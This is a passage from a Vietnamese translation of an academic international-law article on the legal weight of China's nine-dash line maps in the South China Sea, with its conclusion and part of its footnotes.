ăn khớp ngày càng chính xác giữa bản đồ và không ảnh. Thông tin xuất phát từ sự can thiệp của con người, chẳng hạn như tên của các địa điểm và các thể địa lý (địa danh học) và việc miêu tả biên giới và ranh giới chính trị khác, do đó không khả tín hơn. Tất nhiên, độ tin cậy của các thông tin địa danh học cũng tăng lên nhở kiểm chứng thực địa, mặc dù ở mức độ thấp hơn, nhưng theo ý kiến của các nhà vẽ bản đồ, sai sót vẫn còn phổ biến trong biểu thị các đường biên giới, nhất là khi thể hiện các địa danh này này ở các khu vực biên giới khó tiếp cận. [103]</div> <div> </div> <div> Dưới ánh sáng của những quan điểm này, sự ra đời của công nghệ hiện đại có thể tăng truy đòi của các thẩm phán đối với bằng chứng bản đồ. Một trường hợp nổi bật về điểm này là ý kiến tư vấn của ICJ 2004 đối với bức tường của Israel, trong đó họ dựa (một phần) vào một bản đồ điện tử được đăng trên trang web Bộ Quốc phòng Israel để xác định các tuyến đường hiện tại và tương lai của các bức tường trong vùng lãnh thổ Palestine. [104] Ngược lại, các bản đồ TQ không có vẻ có thể đáp ứng các tiêu chuẩn kỹ thuật nghiêm ngặt. Mặc dù đường nhiều chấm của TQ thường đi theo đường đẳng sâu 200 mét (đường nối các điểm có độ sâu 200m với nhau), cho đến nay nó chưa bao giờ được phân ranh giới chính xác, do đó thiếu các toạ độ địa lý chính xác. [105] Ngoài ra, có vẻ có một số sự mâu thuẫn nhỏ giữa các tài liệu bản đồ biển của TQ: các điểm cuối của các vạch tạo nên đường chữ U thay đổi (mức khác biệt chạy từ 1 đến 5nm). [106] Nhưng ngay cả vị trí của chính các vạch đôi khi có sai biệt rõ ràng với những vạch trên bản đồ ở Phụ lục I. [107] Hơn nữa, vì nó liên quan các đường trên biển, ảnh vệ tinh cũng không thật hữu ích.</div> <div> </div> <div> Một yếu tố bổ sung góp phần vào tính không chính xác của bản đồ TQ là tỉ lệ của nó nhỏ quá mức. ICJ đã than phiền các bản đồ vẽ với tỉ lệ không đủ lớn. Một ví dụ điển hình có thể tìm thấy trong Tranh chấp đất, đảo và biên giới biển:</div> <div> </div> <div> Honduras đã vẽ một bản đồ thứ hai, năm 1804, cho thấy vị trí của các giáo xứ của tỉnh San Miguel trong Tổng Giáo Phận Guatemala. Tuy nhiên, tỉ lệ của bản đồ này không đủ lớn để có thể xác định xem đoạn cuối của sông Goascoran là đoạn do El Salvador khẳng định, hoặc đoạn do Honduras khẳng định. [108]</div> <div> </div> <div> Các vấn đề tương tự cũng đã được trình bày trước tòa trọng tài. Ví dụ, Uỷ ban ranh giới Eritrea-Ethiopia cho rằng: “hơn nữa, nhiều bằng chứng về bản đồ theo một tỉ lệ quá nhỏ, hoặc quá thiếu chi tiết đến nỗi nó chỉ có thể được coi là mơ hồ trong lĩnh vực này.” [109]</div> <div> </div> <div> Cuối cùng, cần lưu ý rằng các bản đồ TQ không chứa bất kỳ chỉ dấu nào về mốc quy chiếu (tức là một quy chiếu sử dụng trong trắc địa để đo đạc) được sử dụng, đó có vẻ là một yếu tố quan trọng trong việc đánh giá độ chính xác kỹ thuật của bất kỳ ranh giới biển nào. [110]</div> <div> </div> <div> IV. BẢN ĐỒ KHÔNG BỊ CÁC NƯỚC KHÁC TRONG KHU VỰC PHẢN ĐỐI</div> <div> </div> <div> A. Tiêu chuẩn áp dụng</div> <div> </div> <div> Ngay cả khi ta chấp nhận rằng đường 9 chấm là một mô tả sai lầm của hiện thực thì điều đó không có nghĩa là nó có thể được gạt sang một bên ngay lập tức. Điều này đã được làm sáng tỏ trong vụ kênh Beagle:</div> <div> </div> <div> tầm quan trọng của bản đồ có thể không nằm ở chính bản đồ mà trên lý thuyết nó có thể không chính xác mà ở thái độ biểu lộ - hoặc hành động thực hiện - đối với bản đồ đó của các bên liên quan hoặc của các đại diện chính thức của họ. [111]</div> <div> </div> <div> Các thẩm phán trong vụ Đền Preah Vihear đã rõ rệt hơn, gửi một tín hiệu cảnh báo rõ ràng về những ảnh hưởng tiềm năng của việc sơ suất trong khi đối mặt với sự quyết đoán về bản đồ:</div> <div> </div> <div> Rõ ràng rằng các trường hợp như vậy đòi hỏi một phản ứng nào đó, về phía nhà chức trách Thái Lan trong một thời hạn hợp lý, nếu họ muốn tỏ sự không đồng ý với bản đồ hoặc nếu có bất kỳ câu hỏi nghiêm trọng nào phải nêu ra liên quan đến nó. Họ đã không làm như vậy, hoặc là sau đó hoặc trong nhiều năm, và do đó phải được xem là đã mặc nhận. Qui tacet consentire videtur si loqui debuisset ac potuisset. [112] (Ai im lặng thì dường như là đồng ý, nếu anh ta biết nói đáng lẽ anh ta đã phải nói).</div> <div> </div> <div> Một ví dụ của mối liên kết giữa bản đồ và sự mặc nhận được Ủy ban Ranh giới Eritrea-Ethiopia nêu lại gần đây: “một bản đồ có thể có chút trọng lượng pháp lý cho từng cái (per se): nhưng nếu bản đồ là thỏa đáng về mặt bản đồ học trong các khía cạnh có liên quan, nó có thể, có vai trò là căn cứ thực tế , có ý nghĩa pháp lý cao, ví dụ như cho hành vi mặc nhận.”[113]</div> <div> </div> <div> Tất nhiên, các kiểu cách thực tế của các vụ nêu trên là hoàn toàn khác biệt với trường hợp mà chúng ta đang phải đối mặt, tao ra tranh cãi về việc liệu các tiền lệ đó có thể áp dụng được ở đây không. Trong trường hợp này, chúng ta đang đối phó với một đường biên giới biển có mục đích xấu, việc hình thành nó, theo lời của ICJ, là “một vấn đề có tầm quan trọng lớn và việc thỏa thuận không phải là dễ dàng giả định trước”. [114] Hơn nữa, theo quan sát của Strupp:</div> <div> </div> <div> Yêu sách hình chữ U lạ lùng này là quá bất thường và quá đáng vượt ngoài thực tế trong các thập niên từ 30 tới 60 đến nỗi không thể hiểu được theo cách có “sự mặc nhận đối với yêu sách bản đồ” một công nhận (ngầm) của cộng đồng nước ngoài về những tham vọng “cực kỳ bất thường”, bằng cách áp dụng quy tắc qui tacet consentire videtur si loqui debuisset ac potuisset hoặc quy tắc khác, có thể nghiêm ngặt đi đến xem xét. [115]</div> <div> </div> <div> Strupp cũng nhận xét rằng:</div> <div> </div> <div> Trong những trường hợp hoàn toàn quá đáng kiểu như “tuyên bố chủ quyền mặt trăng” của “đường chữ U” ở Biển Đông rõ ràng không tồn tại một cơ sở hợp lý nào cả cho một độ “siêu nhạy cảm” to lớn về phía các nước phải đối mặt với các yêu sách bản đồ đối địch về mặt “mặc nhận”. [116]</div> <div> </div> <div> Tuy nhiên, cần thận trọng khi áp dụng một phương pháp tiếp cận trung gian. Sau khi xem xét một bộ phận lớn về việc thực hành nhà nước, trong công trình có ảnh hưởng của ông về quyền sở hữu lịch sử, Blum đi đến kết luận sau đây:</div> <div> </div> <div> Các trường hợp phản đối mới đây chống lại “yêu sách bản đồ” dường như chỉ ra rằng các quốc gia, trên thực tế, “luôn giữ một cái nhìn cảnh giác đối với các bản đồ do các quốc gia văn minh xuất bản " … Nói chung, có vẻ nổi lên rằng các nước sẽ bị đổ lỗi cho sự hiểu biết về các hoạt động lập pháp trong nước của nhau cũng như các hành vi khác được thực hiện theo thẩm quyền của họ, và lời biện hộ về sự không biết sẽ chỉ được chấp nhận trong những trường hợp đặc biệt nhất.Do đó những nước mong muốn bảo toàn quyền của mình được khuyến cáo nên quan tâm theo dõi sâu sát các hành vi chính thức của các nước khác và đưa ra phản đối - thông qua các phương tiện hợp pháp được luật quốc tế công nhận – nếu họ cảm thấy rằng quyền của mình đã bị ảnh hưởng, hoặc có thể bị ảnh hưởng bởi những hành vi đó. [117]</div> <div> </div> <div> B. Phản đối / Thiếu sự mặc nhận</div> <div> </div> <div> Giả sử rằng triển vọng thừa nhận ngầm lồ lộ hiện ra, các nước ven biển được yêu cầu phải bày tỏ sự không chấp nhận chính sách đường chữ U và ý đồ cơ bản của TQ. Một số học giả TQ đã cáo buộc rằng buộc cộng đồng quốc tế đã không lên tiếng về sự bất đồng của mình để ngăn chặn việc củng cố tham vọng của TQ ở Biển Đông:</div> <div> </div> <div> Khi tuyên bố đường 9 điểm, cộng đồng quốc tế không lúc nào bày tỏ sự bất đồng ý kiến. Không nước lân cận nào đã đưa ra một phản đối ngoại giao. Im lặng khi đối mặt với một tuyên bố công khai có thể nói có nghĩa là mặc nhận, và có thể khẳng định rằng các đường chấm chấm đã được công nhận trong nửa thế kỷ. Tuy nhiên, trong những năm gần đây một số nước Đông Nam Á, đã tham gia vào tranh chấp chủ quyền Biển Đông, mới đặt ra câu hỏi về tình trạng pháp lý của đường 9 chấm. [118]</div> <div> </div> <div> Triệu Quốc Khải (Zhao Guocai) cho rằng:</div> <div> </div> <div> “Từ lúc tuyên bố đường 9- chấm, cộng đồng quốc tế vào thời điểm đó đã không đưa ra bất kỳ sự không bằng lòng nào. Các nước liền kề cũng không đưa ra bất kỳ phản đối ngoại giao nào đối với đường 9-chấm. Những điều này quy thành một sự mặc nhận.” [119]</div> <div> </div> <div> Sự mặc nhận quốc tế này rất đáng ngờ. [120] Lấy Việt Nam như một trường hợp về điều này, chúng ta có thể thấy rằng hai phát biểu này là không thuyết phục. Các ví dụ bao gồm:</div> <div> </div> <div> 1. Một phản đối đối với các đòi hỏi của TQ qua việc tuyên bố rằng rằng họ sẽ “không công nhận bất kỳ cái gọi là ‘lợi ích lịch sử’ nào, điều đó là không phù hợp với luật pháp quốc tế và vi phạm chủ quyền và quyền chủ quyền của Việt Nam và lợi ích hợp pháp của Việt Nam trong các khu vực biển và thềm lục địa của họ trong Biển Đông”.[121]</div> <div> </div> <div> 2. Một tuyên bố đáp trả công hàm của TQ năm 2009:</div> <div> </div> <div> Quần đảo Hoàng Sa và Trường Sa là một phần của lãnh thổ Việt Nam. Việt Nam có chủ quyền không tranh cãi đối với các quần đảo này. Do đó, yêu sách của TQ đối với các đảo và vùng biển lân cận ở Biển Đông như thể hiện trong bản đồ kèm Công hàm CLM/17 / 2009 và CLM/18/2009 là không có cơ sở pháp lý, lịch sử, thực tế, do đó là không có giá trị và vô hiệu. [122]</div> <div> </div> <div> 3. Một yêu cầu loại bỏ dữ liệu khỏi dịch vụ bản đồ trực tuyến của TQ mô tả đường chữ U (nêu trên) trong hai dịp. [123]</div> <div> </div> <div> 4. Các phản kháng gần đây chống lại sự can thiệp của TQ với tàu thuyền Việt Nam, trong đó tính hợp pháp của đường 9 chấm rõ ràng bị bác bỏ. [124]</div> <div> </div> <div> 5. Nhân dịp buổi họp cuối cùng của các nước thành viên UNCLOS, Việt Nam đã nhắc lại phản đối của mình đối với đường 9 chấm theo mục 14 của Chương trình nghị sự. [125]</div> <div> </div> <div> Cách ứng xử như vậy phải tuân thủ các tiêu chuẩn pháp lý quốc tế cần thiết để làm các hành vi phản đối thấm đầy hiệu lực pháp lí khiến cho đường chữ U không thể được sử dụng để chống lại nước phản đối. Tuy nhiên, có vẻ như không khả thi khi áp dụng các tiêu chí này cho các phản kháng trước đây đối với đường chữ U trong điều kiện vị thế mơ hồ của TQ đối với bản đồ và những gì nó thực sự muốn nói. Xét cho cùng, chỉ có thể hành động bằng cách phản đối một khi nước đối lập đã thực hiện một tuyên bố chính thức và dễ hiểu. Ý tưởng này được phản ánh trong khái niệm về “tai tiếng”của hành động hoặc sự kiện đang có vấn đề. [126] Chúng tôi đã bàn bạc chi tiết các đặc điểm bí ẩn của đường 9 chấm và những ảnh hưởng về ý định không rõ ràng về phía TQ. Vì vậy, chỉ có thể phản đối đối với những khẳng định thấy được và dễ hiểu về đường chữ U trong các trường hợp hiếm hoi mà chúng xảy ra (ví dụ, công hàm TQ gửi cho Tổng Thư ký LHQ năm 2009). Theo thời gian, các tiêu chí theo sau dựa trên các tiêu chí trước trước đây. Theo lập luận, nếu tính rõ ràng của dòng-9-chấm đã được xác lập thì bản chất của sự mặc nhận như thế có xu hướng được chấp nhận chỉ sau một thời gian dài thụ động.[127] Ví dụ dễ thấy là các vụ tranh chấp về Đánh bắt cá và Quyền qua lại trên Lãnh thổ Ấn Độ trong đó ICJ suy ra sự mặc nhận từ trên 60 và 125 năm im lặng, tương ứng. [128] Đòi hỏi về ý định rõ ràng cũng đã được hoàn thành trong các tuyên bố của Việt Nam rõ ràng nhằm mục đích ngăn chặn cái đòi hỏi trở thành quyền lợi pháp lý mới của TQ. Ngoài ra, tiêu chí rằng phản đối phải nhất quán và không bị gián đoạn có thể nói là đã được tuân thủ, như minh họa của nội dung của các ghi chú nói về phản đối. [129]</div> <div> </div> <div> KẾT LUẬN</div> <div> </div> <div> Trong đóng góp này, chúng tôi đã cố gắng để khám phá một số những điều không chắc chắn về pháp lý che đậy các vạch trên bản đồ Biển Đông của TQ. Phân tích của chúng tôi đã đưa đến kết luận rằng đường chữ U, cho dù được giải thích như là một thể hiện lãnh thổ hoặc biển, rõ ràng thiếu tính chính xác, và do đó đặt ra nhiều vấn đề nếu vẫn giữ như là một phần của chính sách chính thức của TQ cũng như của Đài Loan. Nếu bộ phận đáng kể luật các án lệ là điều phải đi theo, bản đồ thể hiện với đường 9 chấm sẽ không có giá trị như là tài liệu chứng cứ trong một vụ xử giả thuyết. Trong khi có thể thấy rằng một số người nhìn ra một xu hướng mới nổi lên tạo ảnh hưởng cho sự dễ dãi đối với bản đồ, [130] chúng tôi sẽ cho rằng các luận điệu như vậy là khá vội vã. Các bản đồ không phải là các bản đồ kèm theo các hiệp ước quốc tế sẽ được tiếp nhận một cách thận trọng dễ hiểu và sẽ được đánh giá theo chức năng của chúng vẫn là điều không thay đổi.</div> <div> </div> <div> Nhưng có một vấn đề cơ bản hơn ở đây. Duy trì một tuyên bố đơn phương trong một khoảng thời gian kéo dài mà không xem xét tới quyền lợi của các bên quan tâm khác là đồng nghĩa với việc áp đặt một việc đã rồi (fait accompli). Điều này sẽ vuột mất đi khi đối mặt với luật quốc tế, luật này ngăn không cho các nước mạnh yêu sách “giành phần trọn” (lion’s share) gây thiệt hại cho các nước láng giềng yếu hơn. [131] Việc bám chặt vào đường 9 chấm cũng là lỡ nhịp với chế độ chính phủ hiện tại, [132] bao gồm các hội thảo[133] và (đề xuất) hợp tác trong lĩnh vực bảo vệ môi trường và sự đa dạng sinh học. [134] Một giải pháp thực dụng khá thịnh hành trong những năm qua là tìm cách đạt được sự phát triển chung các tài nguyên. Điều này dính dáng tới việc gác các tranh chấp lãnh thổ và biển sang một bên và ký kết các thỏa thuận tạm thời “mà không làm ảnh hưởng” đến kết quả phân định cuối cùng. [135] May mắn thay, TQ, Đài Bắc, và các diễn viên khác trong khu vực đã sử dụng các cơ chế đa phương này và tiếp tục làm như vậy một cách hiệu quả. Chúng tôi hy vọng rằng các nước có tranh chấp từ bỏ các khẳng định cực kỳ quyết đoán về mặt bản đồ và lo tập trung năng lượng của họ vào các kết quả các bên cùng có lợi liên quan đến Biển Đông trên cơ sở UNCLOS.</div> <div> </div> <div> Người dịch: Phan Văn Song</div> <div> </div> <div> Hiệu đính: Lê Trung Tĩnh</div> <div> </div> <div> --------------</div> <div> * Research Professor, President of the Department of International and European Law and Director of the Centre for International Law, Vrije Universiteit Brussel; Member of the Permanent Court of Arbitration. The substance of this article was prepared for the Second International Workshop organized by the Diplomatic Academy of Vietnam and the Vietnam Lawyers Association, entitled ‘‘The South China Sea: Cooperation for Regional Security and Development’’, 10–12 November 2010, Ho Chi Minh, Vietnam. This article is a revised version of the paper—‘‘Dotted Lines in the South China Sea: Fishing for (Legal) Clarity’’—presented at the Workshop.</div> <div> **Doctoral Fellow, Research Foundation—Flanders (FWO). Member of the Department of International and European Law and the Centre for International Law, Vrije Universiteit Brussel.</div> <div> </div> <div> [1] LI Jinming and LI Dexia, ‘‘The Dotted Line on the Chinese Map of the South China Sea: A Note’’ (2003) 34 Ocean Development and International Law 287 at 289. Trong một công hàm gửi cho Tổng thư ký Liên Hiệp Quốc, Trung Quốc tuyên bố rằng “kể từ [sic] năm 1930, chính phủ Trung Quốc đã đưa ra công khai nhiều lần [sic] phạm vi địa lý của quần đảo Nam Sa của Trung Quốc và tên các thành phần của nó”, nhưng họ không đề cập đến các hoạt động bản đồ. Vì vậy, trong khi điều này có thể có nghĩa là Trung Quốc chính thức chuẩn nhận các hoạt động đặt tên của Ủy ban, không thể suy ra các bản đồ cũng được chuẩn nhận. Xem People’s Republic of China, ‘‘Letter to the Secretary-General of the United Nations—CML/8/2011’’ (14 April 2011), online: UN http://www.un.org/Depts/los/clcs_new/submissions_files/mysvnm33_09/chn_2011_re_phl_e.pdf.</div> <div> [2] Zou Keyuan đề cập đến sự tồn tại của một đường ở Biển Đông có sớm hơn được nhà vẽ bản đồ TQ Hu Jinjie (Hồ Tấn Tiếp) vẽ vào năm 1914 và tiếp theo vào những năm 1920 và năm 1930. Đường như vậy cũng có thể tìm thấy trong một số tập bản đồ từ thời kỳ này. Tuy nhiên, cần phải nhấn mạnh rằng:</div> <div> </div> <div> 1. Những phiên bản sớm hơn này có trước bản đồ chính thức đầu tiên mô tả “đường chữ U”.</div> <div> </div> <div> 2. Các tập bản đồ nói trên đã được biên soạn bởi các cá nhân, do đó hành động theo khả năng cá nhân của họ.</div> <div> Xem ZOU Keyuan, ‘‘The Chinese Traditional Maritime Boundary Line in the South China Sea and its Legal Consequences for the Resolution of the Dispute over the Spratly Islands’’ (1999) 14 International Journal of Marine and Coastal Law 27 at 32–33.</div> <div> </div> <div> [3] In lại trong HU Nien-Tsu Alfred, ‘‘South China Sea: Troubled Waters or a Sea of Opportunity?’’ (2010) 41 Ocean Development and International Law 203 at 208.</div> <div> </div> <div> [4] WANG Kuan-Hsiung, ‘‘The ROC’s Maritime Claims and Practices with Special Reference to the South China Sea’’ (2010) 41 Ocean Development and International Law 237 at 248.</div> <div> </div> <div> [5] SHEN Jianming, ‘‘China’s Sovereignty over the South China Sea Islands: A Historical Perspective’’ (2002) 1 Chinese Journal of International Law 94 at 129, note 122.</div> <div> </div> <div> [6] Li and Li, supra note 4 at 290. Quan điểm này mâu thuẫn với Zou Keyuan, ông cho rằng hai vạch này bị xoá vào những năm 1960. XemSee Zou, supra note 5 at 34–35.</div> <div> </div> <div> [7] Malaysia-Socialist Republic of Viet Nam, ‘‘Joint Submission to the Commission on the Limits of the Continental Shelf Pursuant to Article 76, paragraph 8 of the United Nations Convention on the Law of the Sea 1982 in Respect of the Southern Part of the South China Sea, Executive Summary’’ (May 2009), online: UN http://www.un.org/Depts/los/clcs_new/submissions_files/mysvnm33_09/mys_vnm2009excutivesummary.pdf. Như chỉ ra trong thư của TTK LHQ, hồi đáp đã nhận, bản đệ trình chung này đã nộp ngày 6/5/2009, xem trực tuyến: UN http://www.un.org/depts/los/clcs_new/submissions_files/mysvnm33_09/mysvnm_clcs33_2009e.pdf.</div> <div> [8] Socialist Republic of Vietnam, ‘‘Submission to the Commission on the Limits of the Continental Shelf Pursuant to Article 76, paragraph 8 of the United Nations Convention on the Law of the Sea 1982, Partial Submission in Respect of Vietnam’s Extended Continental Shelf: North Area (VNM-N), Executive Summary’’ (April 2009), online: UN http://www.un.org/Depts/los/clcs_new/submissions_files/vnm37_09/vnm2009n_executivesummary.pdf. Như chỉ ra trong thư của TTK LHQ, hồi đáp đã nhận, bản đệ trình chung này đã nộp ngày 7/5/2009, xem trực tuyến: UN http://www.un.org/depts/los/clcs_new/submissions_files/vnm37_09/vnm_clcs37_2009e.pdf.</div> <div> [9] United Nations Convention on the Law of the Sea, 10 December 1982, 1833 U.N.T.S. 397 (entered into force 16 November 1994), online: UN http://www.un.org/Depts/los/convention_agreements/texts/unclos/unclos_e.pdf [UNCLOS], art. 76(8).</div> <div> [10] Do Malaysia và Việt Nam phê chuẩn UNCLOS ngày 14 tháng 10, 1996 và 25 tháng Bảy năm 1994, tương ứng, hạn chót nộp hồ sơ của họ bình thường theo Phụ lục II của nó, Điều. 4, phải là năm 2006 và 2004, tương ứng. Nhưng vì nhiều nước gặp phải khó khăn trong việc đáp ứng hạn chót này của Phụ lục II, vào năm 2001 các nước thành viên UNCLOS đã quyết định sử dụng một điểm khởi đầu để xác định thời hạn này: ngày thông qua CLCS Hướng dẫn Khoa học và Kỹ thuật đã trở thành điểm khởi đầu của thời kỳ 10 năm thay vì ngày UNCLOS bắt đầu có hiệu lực. Xem Decision Regarding the Date of Commencement of the Ten-Year Period for Making Submissions to the Commission on the Limits of the Continental Shelf Set Out in Article 4 of Annex II to the United Nations Convention on the Law of the Sea, Meeting of State Parties, UN Doc. SPLOS/72 (2001). Đối với tất cả các nước mà UNCLOS đã có hiệu lực trước ngày 13/5/1999, gồm cả Malaysia and Vietnam thì ngày 12 /5/2009 trở thành ngày hạn chót mới.</div> <div> </div> <div> [11] Bản đồ này được in lại trong Phụ lục Iở cuối bài viết này.</div> <div> </div> <div> [12] Xem thêm NGUYEN Hong Thao, ‘‘Vietnam and Maritime Delimitation’’ in Ramses AMER và ZOU Keyuan, eds., Conflict Management and Dispute Settlement in East Asia (Farnham, Burlington: Ashgate, 2011), 171 at 184, ông lưu ý rằng đây là dịp đầu tiên CHNDTH bày tỏ vị thế chính thức của họ về đường 9 chấm.</div> <div> </div> <div> [13] People’s Republic of China, ‘‘Letter to the Secretary-General of the United Nations—CML/17/2009’’ (7 May 2009), online: UN http://www.un.org/Depts/los/clcs_new/submissions_files/mysvnm33_09/chn_2009re_mys_vnm_e.pdf.; People’s Republic of China, ‘‘Letter to the Secretary-General of the United Nations—CML/18/2009’’ (7 May 2009), online: UN http://www.un.org/Depts/los/clcs_new/submissions_files/vnm37_09/chn_2009re_vnm.pdf . The map was attached to these letters. It was also reproduced in the following Chinese sources: (2009) 9 China Oceans Law Review at 200 and 202 and ZHU Lijiang, ‘‘Chinese Practice in Public International Law: 2009’’ (2009) 9 Chinese Journal of International Law at 622.</div> <div> [14] Paracel Islands (quẩn đảo Hoàng Sa).</div> <div> </div> <div> [15] Spratly Islands (quẩn đảo Trường Sa).</div> <div> </div> <div> [16] Macclesfield Bank (bãi cạn Macclesfiled).</div> <div> </div> <div> [17] Pratas Islands (quẩn đảo Pratas).</div> <div> </div> <div> [18] Hu, supra note 6 at 204–6.</div> <div> </div> <div> [19] See Erik FRANCKX, ‘‘American and Chinese Views on Navigational Rights of Warships’’ (2011) 10 Chinese Journal of International Law 187 at 196, với tài liệu tham khảo thêm ở chú thích 48 chỉ ra rằng một số học giả phương Tây có khuynh hướng xem nó là sự chuẩn nhận cho yêu sách về quyền sở hữu lịch sử, trong khi các học giả khác nghĩ ngước lại căn cứ trên điều mà việc làm rõ không có nêu lên, tức là bất kỳ quy chiếu cụ thể nào tới vùng nước lịch sử.</div> <div> </div> <div> [20] Republic of the Philippines, ‘‘Letter to the Secretary-General of the United Nations—No. 000228’’ (5 April 2011), online: UN http://www.un.org/Depts/los/clcs_new/submissions_files/mysvnm33_09/phl_re_chn_2011.pdf. Vietnam issued a response to both the Philippines and the PRC, yet refrained from giving any interpretation to these terms. Vietnam, ‘‘Letter to the Secretary-General of the United Nations—77/HC-2011’’ (3 May 2011), online: UN http://www.un.org/Depts/los/clcs_new/submissions_files/mysvnm33_09/vnm_2011_re_phlchn.pdf.</div> <div> [21] People’s Republic of China, supra note 4.</div> <div> </div> <div> [22] People’s Republic of China, ‘‘Foreign Ministry Spokesperson Hong Lei’s Regular Press Conference’’ (7 July 2011), online: Ministry of Foreign Affairs http://www.fmprc.gov.cn/eng/xwfw/s2510/2511/t838221.htm; People’s Republic of China, ‘‘Foreign Ministry Spokesperson Hong Lei’s Regular Press Conference’’ (28 June 2011), online: Ministry of Foreign Affairs http://www.fmprc.gov.cn/eng/xwfw/s2510/2511/t835066.htm; People’s Republic of China, ‘‘Foreign Ministry Spokesperson Hong Lei’s Regular Press Conference’’ (21 June 2011), online: Ministry of Foreign Affairs http:// www.fmprc.gov.cn/eng/xwfw/s2510/2511/t833157.htm; ZHU Lijiang, ‘‘Chinese Practice in Public International Law: 2010’’ (2011) 10 Chinese Journal of International Law 427 at 438.</div> <div> </div> <div> [23] . Trong nhiều dịp trước công hàm 2009,TQ tái khẳng định chủ quền ‘‘không thể tranh cãi (indisputable)’’ or ‘‘không thể chối cãi (undeniable)” của họ đối với quần đảo Trường Sa và Hoàng Sa. Xem ZHU Lijiang, ‘‘Chinese Practice in Public International Law: 2009’’ (2010) 9 Chinese Journal of International Law 607 at 612; ZHU Lijiang, ‘‘Chinese Practice in Public International Law: 2008’’ (2009) 8 Chinese Journal of International Law 493 at 504–5; ZHU Lijiang, ‘‘Chinese Practice in Public International Law: 2007 (I)’’ (2008) 7 Chinese Journal of International Law 485 at 498–9; ZHU Lijiang, ‘‘Chinese Practice in Public International Law: 2006 (II)’’ (2007) 6 Chinese Journal of International Law 711 at 760; CHEN Qiang, ‘‘Chinese Practice in Public International Law: 2004 (II)’’ (2005) 4 Chinese Journal of International Law 607 at 630–1; CHEN Qiang, ‘‘Chinese Practice in Public International Law: 2003 (II)’’ (2004) 3 Chinese Journal of International Law 591 at 598–9; PRC Ministry of Foreign Affairs, ‘‘China’s Indisputable Sovereignty over the Xisha and Nansha Islands’’, (1980) 7 Beijing Review 15, discussed in Otani Yoshio, ‘‘À qui appartient l’archipel des Spratley? Un point de vue sur les revendications chinoises’’ (1996) 1 Annuaire du droit de la mer 179.</div> <div> </div> <div> [24] Charles C. Hyde, ‘‘Maps as Evidence in International Boundary Disputes’’ (1933) 27 American Journal of International Law 311 at 315; Hasjim DJALAL, ‘‘South China Sea Island Disputes’’ in Myron H. NORDQUIST and John Norton MOORE, eds., Security Flashpoints: Oil, Islands, Sea Access and Military Confrontation (The Hague: Nijhoff, 1998), 109 at 113; F. MU¨ NCH, ‘‘Maps’’ in R. BERNHARDT, ed., Max Planck Encyclopedia of Public International Law vol. III (Amsterdam: Elsevier Science, 1995), 287 at 288; T.S. MURTI, ‘‘Boundaries and Maps’’ (1964) 4 Indian Journal of International Law 367 at 388; Daniel SCHAEFFER, ‘‘L’interprétation du droit de la mer par la Chine: ses effets majeurs en Extrême-Orient’’ (2008) 13 Annuaire du droit de la mer 23 at 43; Georg RESS, ‘‘The Delimitation and Demarcation of Frontiers in International Treaties and Maps’’ (1985) 14 Thesaurus Acroasium 435 at 443.</div> <div> </div> <div> [25] Dzurek, supra note 3 at 13.</div> <div> </div> <div> [26] Policy Guidelines for the South China Sea, Point 1, 10 March 1993, in SUN Kuan-Ming, ‘‘Policy of the Republic of China Towards the South China Sea: Recent Developments’’ (1995) 19 Marine Policy 401 at 408 (Annex I).</div> <div> </div> <div> [27] Dzurek, supra note 3 at 13.</div> <div> </div> <div> [28] Republic of China (Taiwan), Statement (1 July 1999), online: Ministry of Foreign Affairs http://www.mofa.gov.tw/webapp/ct.asp?xItem52353&ctNode51902&mp56.</div> <div> </div> <div> [29] PAN Shiying, ‘‘South China Sea and the International Practice of the Historic Title’’, Conference on the South China Sea, American Enterprise Institute, Washington, 7–9 September 1994, referenced in ZOU Keyuan, ‘‘Historic Rights in International Law and in China’s Practice’’ (2001) 32 Ocean Development and International Law 149 at 161, note 97; SONG Yann-huei and Peter Kien-hong YU, ‘‘China’s ‘Historic Waters’ in the South China Sea: An Analysis from Taiwan, R.O.C.’’ (1994) 12 American Asian Review 83.</div> <div> </div> <div> [30] ZHAO Guocai, ‘‘Analysis of the Sovereign Dispute over the Spratlys under the Present Law of Sea’’ (1999) 9 Asian Review at 22 (in Chinese), translated in Li and Li, supra note 4 at 293. Tuy nhiên, cần nêu rõ rằng không phải mại chuyên gia pháp lý Đài Loan đều ủng hộ các tiếp cận yêu sách vùng nước lịch sử dù có lập trường chính thức của chính phủ của họ. Xem ZOU Keyuan, ‘‘China and Maritime Boundary Delimitation: Past, Present and Future’’ in Amer and Zou, eds., supra note 15, at 160.</div> <div> </div> <div> [31] . See Andrea GIOIA, ‘‘Historic Titles’’ in Rudiger WOLFRUM, ed., The Max Planck Encyclopedia of Public International Law (Oxford: Oxford University Press, 2008), online: MPEPIL http:// www.mpepil.com.</div> <div> </div> <div> [32] Zou, supra note 33 at 152.</div> <div> </div> <div> [33] Juridical Regime of Historic Waters, Including Historic Bays, Study Prepared by the Secretariat, UN Doc. A/CN.4/143 (1962), (1962) 2 Yearbook of the International Law Commission 1 [Historic Waters Study].</div> <div> </div> <div> [34] Ibid., at 13. Nghiên cứu này còn nêu khả năng về một đòi hỏi thứ tư (biện minh “trên cơ sở nhu cầu kinh tế, an ninh quốc gia, lợi ích sống còn hay một căn cứ tương tự”) nhưng chưa có sự đồng thuận cao về đòi hỏi này. Tuy nhiên, ngưới ta cần phải hoàn thành danh sách này với một đòi hỏi tổng quát hơn rằng quền sở hữu lịch sử phải thật rõ ràng. Xem Ahmed ABOU-EL-WAFA, ‘‘Les différends internationaux concernant les frontières terrestres dans la jurisprudence de la Cour internationale de justice’’ (2010) 343 Collected Courses of the Hague Academy of International Law 9 at 397.</div> <div> </div> <div> [35] Zou, supra note 33 at 161 and references, supra note 25.</div> <div> </div> <div> [36] For a treatment of both positions, xem Historic Waters Study, supra note 36 at 16–19.</div> <div> </div> <div> [37] Xem, chẳng hạn,bằng tiếng Anh, Markus KOTZUR, ‘‘Intertemporal Law’’ in WOLFRUM, ed., supra note 24. Một phân tích chi tiết hơn bằng tiếng Pháp, xem Paul TAVERNIER, Recherches sur l’application dans le temps des actes et des règles en droit international public (problèmes de droit intertemporel ou de droit transitoire) (Paris: Librairie générale de droit et de jurisprudence).</div> <div> </div> <div> [38] See Hasjim DJALAL, ‘‘South China Sea Island Disputes’’ (2000) The Raffles Bulletin of Zoology</div> <div> (Supplement No. 8) 9.</div> <div> </div> <div> [39] Clive Ralph SYMMONS, Historic Waters in the Law of the Sea: A Modern Re-appraisal (Leiden: Nijhoff, 2008) at 17–37. Đưa ra một lập luận tương tự trên cơ sở công trình của Uỷ ban Luật quốc tế về dàn ý của công ước 1958 cũng như trên cơ sở UNCLOS, see Franckx, supra note 22 